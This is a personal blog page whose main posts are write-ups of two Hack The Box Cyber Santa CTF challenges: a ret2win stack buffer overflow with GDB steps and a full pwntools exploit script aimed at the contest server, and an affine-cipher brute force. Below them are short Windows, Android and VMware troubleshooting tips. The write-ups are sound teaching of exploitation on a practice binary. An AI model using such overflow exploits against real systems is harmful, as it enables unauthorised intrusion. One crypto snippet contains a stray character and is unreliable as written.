Thursday, December 2, 2021

Hack The Box Cyber Santa CTF - Pwn Day 1 - Mr Snowy Writeup

 Challenge File:  pwn_mr_snowy.zip

Exploitation Technique:  ret2win - Overwrite RIP in a 64-Bit binary to jump to a function that prints flag.txt.

Summary:  This is a beginner-intermediate level binary exploitation challenge where you overwrite the RIP address and have it jump to a function that opens the flag.txt file.

I categorize this as possible intermediate because it's a 64-bit Linux binary, and when I started with exploitation, 64-bit things tripped me up.  However, one can argue once you understand x64 exploitation, it's beginner level.  I'm more humble about how hard things can be because I remember how hard things were when I first started, so I always rate things harder than they actually are.  Anyways, let's get started!

Details:

The challenge zip contained two files:
  • flag.txt - Contained a fake flag:  HTB{f4k3_fl4g_4_t3st1ng}
  • mr_snowy - Challenge Binary
The first thing I always do is run "file" and "checksec" on the binary to get a snapshot of what we're dealing with:

file mr_snowy
mr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped

From this, we learn the binary is 64-bit, uses libraries like libc.so, and is not stripped, so we can easily debug or decompile and clearly see the function names.  So far so good.

checksec mr_snowy
    Arch:     amd64-64-little            # Arguments pulled from RDI, RSI, RDX, RCX
    RELRO:    Full RELRO            # Can't overwrite GOT addresses
    Stack:    No canary found         # Good
    NX:       NX enabled                # Can't inject shellcode
    PIE:      No PIE (0x400000)     # Hard coded addresses

From this, we learn we can't inject shellcode because the NX bit is enabled, so we'll find another method to get a shell.  "No PIE" is always a blessing because it means we can jump to any address in the binary using the addresses given in any debugging tool without needing to calculate the base address first.

Let's run the binary to see what it does.  Believe it or not, I always forget to run the binary until way later because I get lost in my initial analysis mental checklist:


The first thing to note is that the text prints to the screen VERY slowly, 8-bit RPG style, so later when we use Pwntools to read the input, we need to make sure we have our timeout settings higher.  We don't want our exploit code exiting too early because it was impatient.

First of all, option "2. Let it be" immediately exits, as well as option "2. Break it" in the next menu.  So, we need to focus on just pressing "1. Investigate" and "1. Deactivate".  By default, this also causes the program to immediately exit with "You do not know the password!"  It exits without giving us a chance to input a password!  Not fair!  Good thing we're hackers amrite!?  😂

Okay, let's dig in to understand how the binary works.  Our goal is to find any way we can type in lots of input to overflow a buffer (Buffer Overflow?  Get it!?)  Alrighty, next, I run the binary in GDB and print out it's functions with "info functions" and note potentially useful functions that's custom to this binary:

0x0000000000400acf  rainbow
0x0000000000400d3b  color
0x00000000004010ed  printstr
0x0000000000401165  deactivate_camera
0x0000000000401278  banner
0x0000000000401374  investigate
0x000000000040146a  snowman
0x00000000004014f1  setup
0x000000000040153e  main

I decompile the binary in Ghidra to understand these functions, keeping in mind to hunt for our buffer overflow input spot.  I always start with main() if one exists, and one does!

The main() is very plain and straight-forward.  I clicked through each function one at a time and discovered the snowman() function shows the first menu, and when we press "1. Investigate", it calls the investigate() function, and BAM!  Found our buffer overflow!  It prints the second menu, and when it asks for input of "1. Deactivate" or "2. Break it", it reads in a large 264 bytes in a tiny 64 byte buffer, which causes the overflow.  Here's the snippet of code in that function that illustrates this:

void investigate(void) {
    char local_48 [64];
    read(0, local_48, 264);
}

GOAL:  Fill the buffer with A's and try to get exactly 8 B's to show up in RIP as a placeholder.  

Side Note - We try to squeeze 8 B's because 64-bit systems use 8-byte addresses, each letter is a byte.  If this was a 32-bit binary, we'd squeeze 4 B's into EIP.  

We'll replace the B's with an address later to tell the code to jump somewhere else at the return of the investigate() function.  Since the buffer is 64 bytes, 8 bytes of RBP always goes after the buffer followed by 8 bytes of RIP, so basic math says:  

    64 Bytes + 8(RBP) + 8(RIP) = 
                        72(A's) + 8(RIP)

What this means is, we put 72 A's followed by 8 B's, in which the B's should end up in RIP (in which we'll illustrate with GDB).  Before we dive in, we need to remember to press "1. Investigate" to pass through the first menu, THEN we can inject our A's and B's payload.  First, we need to set a breakpoint at the "ret" at the end of the function taking our input, in this case, it's investigate().

In GDB, disassemble the investigate function like this to see all it's instructions and addresses, but note the "ret" address at the end:

(gdb) disassemble investigate
0x0000000000401469 <+245>:   ret    

Set a breakpoint at that address in GDB like this:

(gdb) break *0x0000000000401469

Alternatively, you could set the breakpoint using it's line number you see in it's instruction line:

(gdb) break *investigate+245

Now we can run the binary with our payload input and see if our B's end up in RIP.  In GDB, this is the way you feed Python output as input to a binary through STDIN:

(gdb) r <<< $(python -c 'print "1\n" + "A"*72 + "B"*8')

                    *Note the "1\n" to signify we inserted "1" then pressed <Enter>.
GDB runs, then breaks at "ret".  Type "info frame" to see if the B's showed up in "Saved RIP"


CHECK IT OUT!  Hex 0x42 stands for ASCII "B".  Saved RIP is where the program jumps to when it returns.  In 64-bit binaries, if you ran the program until it seg faults, you won't see the B's directly in the RIP register because 64-bit requires only real addresses in the RIP register.  You would only see the address of the last instruction (ret) before it seg faulted.  In 32-bit binaries, you would see "0x42424242" aka "BBBB" in EIP after seg faulting.

Anyways, now we have proof of concept that we can jump anywhere we want.  The question is, "Where do we want to go!?"

This reminded me the challenge zip came with a fake flag placeholder called "flag.txt", which means, they intend us to read that file somewhere.  So I went back to Ghidra and reviewed the decompiled code for all the C functions to look for "flag.txt" in the source, and found it in an uncalled function called "deactivate_camera()":

void deactivate(void) {
        local_38 = fopen("flag.txt","rb");
}

This function wasn't being called anywhere, but prints out the flag if we can get there!  The address was shown above when we did "info functions" in GDB.  We can also find the beginning address of that function in GDB with:

(gdb) disassemble deactivate_camera
   0x0000000000401165 <+0>:     push   rbp

However, we can't continue to use our one-liner in GDB since the address contains zeros or 0x00 null bytes, and the bash command line ignores the null bytes when it inputs it into the binary.  BUT!  Since this program uses read() to take in user input, the read() function in itself does NOT ignore the zeros if we gave it user input the proper way.  Therefore, we need to use Pwntools, which is more productive practice anyway since that's the bread and butter of more advanced binary exploitations.

This is not a Pwntools writeup, so I won't go into details (full exploit code in Appendix).  In our script, this is the payload:

deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()

Output:  It's our fake flag!!!
    [+] Here is the secret password to deactivate the camera: HTB{f4k3_fl4g_4_t3st1ng}

Trying again on the real target with Pwntools gives the REAL flag:


HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

In CTF Pwn, these functions that print out the flag are called "flag functions" because it's like an auto-win.  Typical exploitations, we need to hack our way into a full shell, find and cat out the flag.  A "flag function" typically represents a "beginner friendly pwn challenge."

That's all folks!  Hope you learned something!

APPENDIX:

-----------------------------------------------------------------------------------------------------------
### <solution.py>
from pwn import *

#p = process("./mr_snowy")
p = remote('178.128.35.31', 30491)
#gdb.attach(p, '''
#break *0x4013bc
#c
#''')

print(p.recvuntil('> ', timeout=8))    # First menu
p.sendline('1') # Investigate

print(p.recvuntil('> ', timeout=8))    # Second menu
deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()
p.close()
-----------------------------------------------------------------------------------------------------------



Hack The Box Cyber Santa CTF - Crypto Day 2 - XMAS Spirit Crypto Writeup


Challenge Files:  crypto_xmas_spirit.zip

Contained the following contents:
  • challenge.py
  • encrypted.bin
As expected, "encrypted.bin" contained 776,746 bytes worth of gibberish:


"challenge.py" contained the following code:

#!/usr/bin/python3

import random
from math import gcd

def encrypt(dt):
        mod = 256
        while True:
                a = random.randint(1,mod)
                if gcd(a, mod) == 1: break
        b = random.randint(1,mod)

        res = b''
        for byte in dt:
                enc = (a*byte + b) % mod
                res += bytes([enc])
        return res

dt = open('letter.pdf', 'rb').read()

res = encrypt(dt)

f = open('encrypted.bin', 'wb')
f.write(res)
f.close()

The first thing I noticed is that it opened a file called "letter.pdf", and I didn't see that in the challenge zip file.  Re-reading the challenge description, it says, "Santa has no idea about cryptography. Can you help him read the letter?"  Therefore, we need to decrypt the "encrypted.bin" into a "letter.pdf" file.  This script took in the original "letter.pdf" and encrypted it into "encrypted.bin", and now it's our job to reverse the process.

I started by trying to manually reverse the encrypt() function into a decrypt() function, but quickly got stuck trying to reverse the modulus on this line:  enc = (a*byte + b) % mod

After rigorous Googling on how to perform the inverse of a modulus operator, I took a break from that strategy after realizing how hard it is to do so, since reversing a "mod" operator yields many answers.  For example, since modulus captures the remainder of two numbers divided against each other, all odd numbers divided by 2 always has remainder 1.  So a zillion things can be the answer to "x % 2 = 1".

Changing gears, I spawned a "test.py" file to figure out how the encrypt() function works by observing how it handles simple input.  In my case, I fed it "AAAABBBB" with some debug print statements to see what the encrypted contents look like.


I ran it a few times and noticed the "a" and "b" values changed each time, but the "Byte" value stayed the same.  "Byte" is the variable representing each individual character from the input string, so that makes sense that it stayed static.  Since "a" and "b" changed each time, the math produced different encrypted strings each time as well.  I got curious if it would ever randomly produce the original input string if I ran it enough times.  Let's see why "a" and "b" keeps changing with each run:

mod = 256
a = random.randint(1,mod)
b = random.randint(1,mod)

So "a" and "b" is given a random number between 1 and 256 each run.  This means there is only a finite amount of ciphertext the encrypt() function can create; therefore, ONE of these random "a's" and ONE of these random "b's" combinations HAS to decrypt the message!  So for my small scale test, I did an infinite while loop that only stops if it finds the original input string of "AAAABBBB".  Essentially, my goal was to feed in "AAAABBBB" and obtain "AAAABBBB" as the "encrypted text" using the same challenge algorithm.  I also printed out which "a" and which "b" was responsible for this as well:

while True:
        encrypted, a, b = encrypt(message)
        if b"AAAABBBB" in encrypted:
                print("\nEncrypted Message: %s, a: %s, b: %s" % (encrypted, a, b))
                break

And I found it with "a = 1" and "b = 256", yielding this same output repeatedly:


Of course for the real thing, we wouldn't use a=1 and b=256 because that would just take in the original "encrypted.bin" and give us the same gibberish as output, but alas, we have proof of concept.  Now for the real thing, I modified the code to loop through 1-256 for "a" and 1-256 for "b" in a double for loop.  

Also, I only read in one line of gibberish from the "encrypted.bin" file because if I tried to decrypt all the data through my double for loop, it would take an eternity for a ~0.75MB text file.

More importantly, I opted to try decrypting only the first line from "encrypted.bin" because I assumed this would spit out a legitimate PDF file, and if so, the file header with the "PDF" magic number would appear if decrypted successfully.  As I decrypted each with a different "a" and "b" value, I wrote it to a file in the file name format, "output_a_b.pdf" where "a" and "b" is replaced with their current respective values in the for loop.  Here's my code to do so:

with open("encrypted.bin", "rb") as f:
        data = f.read()

for A in range(1, 256):0
        for B in range(1, 256):
                file = open("PDFs/output_%s_%s.pdf" % (A, B), "wb")
                #print(encrypt(data, A, B))
                file.write(encrypt(data, A, B))
                file.close()

2 Important things to note:  
  • When reading and writing binary data, you must read it in with "rb" and write it out with "wb" instead of just 'r' and 'w'.
  • Notice I commented out the print statement.  Here's why.  Brute forcing tactics take a long time, and printing debug messages to the screen makes it take HOURS longer, so I commented out that line after I had a warm fuzzy that my code worked properly.  
    • I created a password brute forcer in C some time ago and it took 18 hours to crack a five character password when I printed out "Password not found" over and over.
    • I commented out that line, and it took half a millisecond...
In another terminal on my Kali machine, I ran "file *.pdf | grep PDF" when it finished.  LO AND BEHOLD, ONE FILE HAS A PDF HEADER!


At this point, I could taste the flag in my mouth, AND I thought how ridiculous it would've been to try to reverse the modulus math.

I modified my code for the final time with "a=153" and "b=96" hardcoded in (it actually took a few tries with my typos because my hands were shaking from excitement).  I also changed "readline()" to "read()" since we want to process the entirety of "encrypted.bin" now.  Not required, but for satisfaction, I also made the output file "letter.pdf" as intended by the challenge story.

with open("encrypted.bin", "rb") as f:
        data = f.read()
file = open("letter.pdf", "wb")
file.write(encrypt(data, 153, 96))    # I changed the function to "def encrypt(dt, a, b)"
file.close()

And... VOILA!!!  The letter to Santa and the flag!  I've never seen something so exciting!


HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}
















Friday, February 20, 2015

How to Disable Windows 8.1 Update Notification

This is all you need to do, BLAM!
  1. Create this key: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsStore
  2. Create this String value inside WindowsStore:  DisableOSUpgrade (set its value to 1)
  3. Uninstall and hide it next time you see it in Windows Update:  KB2871389
  4. Make Windows ask you what updates you want to download and install
  • http://www.askvg.com/how-to-disable-update-to-windows-8-1-for-free-notification-in-windows-8-store/
  • http://www.eightforums.com/tutorials/37808-update-windows-8-1-store-prompt-enable-disable.html

Sunday, February 8, 2015

Android Studio ADB Doesn't Recognize Samsung Galaxy S5

Problem:  You're trying to test your awesome Android/Java code on a real live phone connected via USB, but Android Studio doesn't recognize your device no matter what you do.  Well, here is a checklist of items to make sure you have to ensure your device is recognized:

In Short:
  • Turn on Debugging Options and enable USB Debugging
  • Install Google USB Drivers from SDK Menu in Android Studio
  • Install "Samsung USB Driver for Mobile Phones"
  • Restart adb and check if your phone is in the list
  • Accept the RSA Fingerprint verification on phone
Details:
  • Connect your device via USB to your computer
  • Turn on Debugging options on your phone by tapping "Build Number" seven times in the "About Device" in your phone settings
  • Open the "Developer Options" in your phone settings and make sure "USB Debugging" is checked
  • Go to the "SDK Manager" of Android Studio and install "Google USB Driver"
  • Install "Samsung USB Driver for Mobile Phones" from Samsung:  http://developer.samsung.com/technical-doc/view.do?v=T000000117
  • Restart ADB and verify device from command line (I only typed adb devices):  
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb kill-server
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb start-server
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb devices
  • Somewhere in this last step, your phone will prompt you for an "RSA Fingerprint" verification.  In this case, you accept.  If you see this, then you're GOLDEN!

Sunday, October 12, 2014

"VMWare Workstation and Hyper-V are not compatible..."

When running VMWare Workstation, if you've ever gotten the error "VMWare Workstation and Hyper-V are not compatible...", here's what to do. I got this error running VMWare Workstation 10 on Windows 8.1. I'm not sure if it applies to more OS's.

Here's what to do:
1. Open cmd.exe with "Run As Administrator"
2. Type bcdedit /set hypervisorlaunchtype off
3. Restart computer, DONE!!!

Sunday, July 20, 2014

"As a result, this virtual machine may experience very low graphics performance. Follow the instructions provided by your graphics card vendor or Linux distribution in order to update your computer's OpenGL drivers."

Opening VMWare Workstation 10 with Windows 7 in Ubuntu hosts initially says the 3D Acceleration doesn't work because "As a result, this virtual machine may experience very low graphics performance. Follow the instructions provided by your graphics card vendor or Linux distribution in order to update your computer's OpenGL drivers."

Simple fix is to shutdown your VM. Edit your *.vmx file in an editor like Gedit or VI and add the following line: mks.gl.allowBlacklistedDrivers = "TRUE"

Start your VM, and it should work dandily!

Trouble Mounting Windows 8 Partition onto Ubuntu?

Ever got this message when trying to access Windows 8 files on a partition from Ubuntu on a dual-boot?
"error mounting at exited with non-zero exit status Windows is hibernated refused to mount"

Type this using the data in your error message:
sudo mount -t ntfs-3g -o remove_hiberfile /dev/sda2 /media/tron/288680458680158A2